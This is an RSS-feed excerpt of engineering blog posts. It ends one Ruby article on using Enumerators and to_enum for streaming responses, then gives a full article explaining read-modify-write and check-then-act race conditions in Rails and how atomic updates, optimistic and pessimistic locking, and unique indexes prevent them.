&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  response.each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |chunk|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # stream each chunk to browser as it arrives&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # all kinds of teardown work, stream error handling, etc.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;client.get&lt;/code&gt; now returns either a string or an Enumerator. If it&apos;s an Enumerator,
it will yield each part of the response as it&apos;s received. Because this code no
longer needs the block at the same time as the arguments, all of the logic around
streaming a response can go somewhere else. This is much less tangled up than the
last version. How is this possible? By using &lt;code&gt;to_enum&lt;/code&gt; in the client when it&apos;s not
given a block:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Client&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; initialize&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;stream:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    @stream &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; stream&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; get&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;query:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;context:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; @stream&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      get_stream(query, context, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      get_burst(query, context)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; get_stream&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(query, context, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; to_enum(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:get_stream&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, query, context) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;unless&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; block_given?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    some_api_request &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |chunk|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      yield&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; chunk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; get_burst&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(query, context)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # nothing interesting here, just a basic request and response&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    response&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the client is in streaming mode and &lt;em&gt;isn&apos;t&lt;/em&gt; given a block, &lt;code&gt;get_stream&lt;/code&gt;
returns an Enumerator that calls get_stream &lt;em&gt;with&lt;/em&gt; a block. The yielded chunk
is passed back through to the Enumerator when the caller, or any other code that
the caller hands the Enumerator to, uses it.&lt;/p&gt;
&lt;p&gt;This pattern — decoupling the place where you need the arguments from the place
where you have the block — becomes even more powerful the further apart those
places are separated. It&apos;s a nice pattern to understand, and it&apos;s possible because
of Enumerators.&lt;/p&gt;
&lt;p&gt;Enumerators can be tricky at first. It&apos;s hard to see the use when you read about
them in the docs. But they have an amazing ability to wrap Ruby code into objects
that take advantage of the full power of Enumerable methods. It&apos;s valuable to use
the knowledge you already have in more places, and Enumerators will help you do
exactly that.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Off to the races: 3 ways to avoid race conditions]]></title><description><![CDATA[What is a race condition? I searched for a good definition of a race condition and this is the best I found: A race condition is…]]></description><link>https://www.aha.io/engineering/articles/off-to-the-races-3-ways-to-avoid-race-conditions</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/off-to-the-races-3-ways-to-avoid-race-conditions</guid><dc:creator><![CDATA[Kyle d’Oliveira]]></dc:creator><pubDate>Thu, 24 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is a race condition?&lt;/h2&gt;
&lt;p&gt;I searched for a good definition of a race condition and this is the best I found:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A race condition is unanticipated behavior caused by multiple processes interacting with shared resources in a different order than expected.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is quite the mouthful and it is still not very clear how race conditions show up in Rails.&lt;/p&gt;
&lt;p&gt;Using Rails, we are always working with multiple processes — each request or
background job is an individual process that can operate mostly independent of other processes.&lt;/p&gt;
&lt;p&gt;We are also always working with shared resources. Does the application use a
relational database? That&apos;s a shared resource. Does the application use some
kind of caching server? Yup, that&apos;s a shared resource. Do you use some kind of
external API? You guessed it — that&apos;s a shared resource.&lt;/p&gt;
&lt;p&gt;There are two example categories of race conditions that I would like to talk
about and then touch on how to approach addressing them.&lt;/p&gt;
&lt;h2&gt;Read-modify-write&lt;/h2&gt;
&lt;p&gt;The read-modify-write category is a type of race condition where one process will
read values from a shared resource, modify the value within memory, and then attempt
to write it back to the shared resource. This seems very straightforward when we
look at it through the lens of a single process. But when a second process comes
up, it can result in some unanticipated behavior.&lt;/p&gt;
&lt;p&gt;Consider code that looks like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; IdeasController&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ActionController::Base&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; vote&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    @idea &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Idea&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.find(params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    @idea.votes &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    @idea.save!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we are reading (&lt;code&gt;Idea.find(params[:id])&lt;/code&gt;), modifying (&lt;code&gt;@idea.votes += 1&lt;/code&gt;),
then writing (&lt;code&gt;@idea.save!&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;We can see that this would increment the number of votes on an idea by one. If
there was an idea with zero votes, it would end with having one vote. However,
if a second request came in and read the idea from the database while it still
had zero votes and incremented that value in memory, we could have a situation
where two votes come in simultaneously — yet the end result is that the number
of votes in the database is only one.&lt;/p&gt;
&lt;p&gt;This is also referred to as the &lt;em&gt;lost update&lt;/em&gt; race condition.&lt;/p&gt;
&lt;h2&gt;Check-then-act&lt;/h2&gt;
&lt;p&gt;The check-then-act category is a type of race condition where data is loaded from
a shared resource, and depending on the value present, we determine if an action
needs to be performed.&lt;/p&gt;
&lt;p&gt;One of the classic examples of how this shows up is in the &lt;code&gt;validates_uniqueness_of&lt;/code&gt;
validation in Rails, like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; User&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ActiveRecord::Base&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  validates_uniqueness_of &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:email&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Consider code that looks like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.create(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;email:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;demo@example.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the validation in place, Rails will check if there is any existing user with
that email. If there is no other, it will act by persisting the user into the database.
However, what would happen if a second request was executing the same code at the
same time? We could end up in a situation where both requests check to determine
if there is duplicate data (and there is none) — then they will both act by saving
the data, resulting in a duplicate user in the database.&lt;/p&gt;
&lt;h2&gt;Addressing race conditions&lt;/h2&gt;
&lt;p&gt;There is no silver bullet for fixing race conditions, but there are a handful of
strategies that can be leveraged for any particular problem. There are three main
categories for removing race conditions:&lt;/p&gt;
&lt;h3&gt;1. Remove the critical section&lt;/h3&gt;
&lt;p&gt;While this could be viewed as deleting the offending code, sometimes you can
refactor the code so that it isn&apos;t vulnerable to race conditions. Other times,
you can look into atomic operations.&lt;/p&gt;
&lt;p&gt;An atomic operation is one where no other process can interrupt the operation
so you know it will always execute as a single unit.&lt;/p&gt;
&lt;p&gt;For the read-modify-write example, instead of incrementing the idea votes in
memory, they could be incremented in the database:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;@ideas.increment!(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:votes&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That will execute sql that looks like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;ideas&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; SET&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;votes&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; COALESCE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;votes&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;ideas&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 123&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Utilizing this would not be subject to the same race conditions.&lt;/p&gt;
&lt;p&gt;For the check-then-act example, instead of allowing Rails to validate the model,
we could insert the record directly into the database with an upsert:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.where(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;email:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;demo@example.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).upsert({}, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;unique_by:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :email&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That will insert the record into the database. If there is a conflict on email
(which would require a unique index on email) it will simply ignore the insert.&lt;/p&gt;
&lt;h3&gt;2. Detect and recover&lt;/h3&gt;
&lt;p&gt;Sometimes you cannot remove the critical section. It is possible there may be an
atomic action, but it doesn&apos;t quite work in a way that the code requires. In those
situations, you can try a detect and recover approach. With this approach, safeguards
are set up that will inform you if a race condition happened. You can either gracefully
abort or retry the operation.&lt;/p&gt;
&lt;p&gt;For the read-modify-write example, this could be done with &lt;a href=&quot;https://api.rubyonrails.org/classes/ActiveRecord/Locking/Optimistic.html&quot;&gt;optimistic locking&lt;/a&gt;.
Optimistic locking is built into Rails and can allow detection of when multiple
processes are operating on the same record at the same time. To enable optimistic
locking, you only need to add a &lt;code&gt;lock_version&lt;/code&gt; column to your table and Rails will
automatically enable it.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;change_table &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:ideas&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |t|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  t.integer &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:lock_version&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;default:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then when you attempt to update a record, Rails will only update it if the &lt;code&gt;lock_version&lt;/code&gt;
is the same version it was in memory. If it isn&apos;t, it will raise a &lt;code&gt;ActiveRecord::StaleObjectError&lt;/code&gt;
exception, which can be rescued to handle it. Handling it could be a &lt;code&gt;retry&lt;/code&gt; or
it could just be an error message reported back to the user.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; vote&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  @idea &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Idea&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.find(params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  @idea.votes &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  @idea.save!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;rescue&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ActiveRecord&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;StaleObjectError&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  retry&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the check-then-act example, this could be done with a unique index on the column,
then rescuing the exception when persisting the data.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;add_index &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:users&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:email&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;unique:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With a unique index in place, if data already exists in the database with that &lt;code&gt;email&lt;/code&gt;,
Rails will raise an &lt;code&gt;ActiveRecord::RecordNotUnique&lt;/code&gt; error and that can be rescued
and handled appropriately.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;begin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  user &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.create(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;email:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;demo@example.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;rescue&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ActiveRecord&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RecordNotUnique&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  user &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; User&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.find_by(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;email:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;demo@example.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Idempotency&lt;/h4&gt;
&lt;p&gt;In order to retry actions, it is important that the entire operation is idempotent.
This means that if an operation is performed multiple times, the result is the
same as if it was only applied once.&lt;/p&gt;
&lt;p&gt;For instance, imagine if a job sent out an email and it was performed whenever
an idea&apos;s votes were changed. It would be really bad if an email was sent out for
each retry. To make the operation idempotent, you could hold off sending the email
until the entire voting operation was complete. Alternatively, you could update
the implementation of the process that sends the email to only send the email if
votes changed from the last time it was sent out. If a race condition occurs and
you need to retry, the first attempt at sending an email might result in a no-op
and it is safe to trigger it again.&lt;/p&gt;
&lt;p&gt;Many operations might not be idempotent — such as enqueueing a background job,
sending an email, or calling a third party API.&lt;/p&gt;
&lt;h3&gt;3. Protect the code&lt;/h3&gt;
&lt;p&gt;If you cannot detect and recover, you can try to protect the code. The goal here is to create a contract where only one process can access the shared resource at a time. Effectively, you are removing concurrency — since only one process can have access to a shared resource, we can avoid most race conditions. The tradeoff though is that the more concurrency is removed, the slower the application can be as other process will wait until they are allowed access.&lt;/p&gt;
&lt;p&gt;This could be handled using pessimistic locking that is built in with Rails.
To use &lt;a href=&quot;https://api.rubyonrails.org/classes/ActiveRecord/Locking/Pessimistic.html&quot;&gt;pessimistic locking&lt;/a&gt;,
you can add &lt;code&gt;lock&lt;/code&gt; to queries that are being built, and Rails will tell the database
to hold a row lock on those records. The database will then prevent any other process
from obtaining the lock until it is done. Be sure to wrap the code in a &lt;code&gt;transaction&lt;/code&gt;
so the database knows when to release the lock.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Idea&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.transaction &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  @idea &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Idea&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.lock.find(params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  @idea.votes &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  @idea.save!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
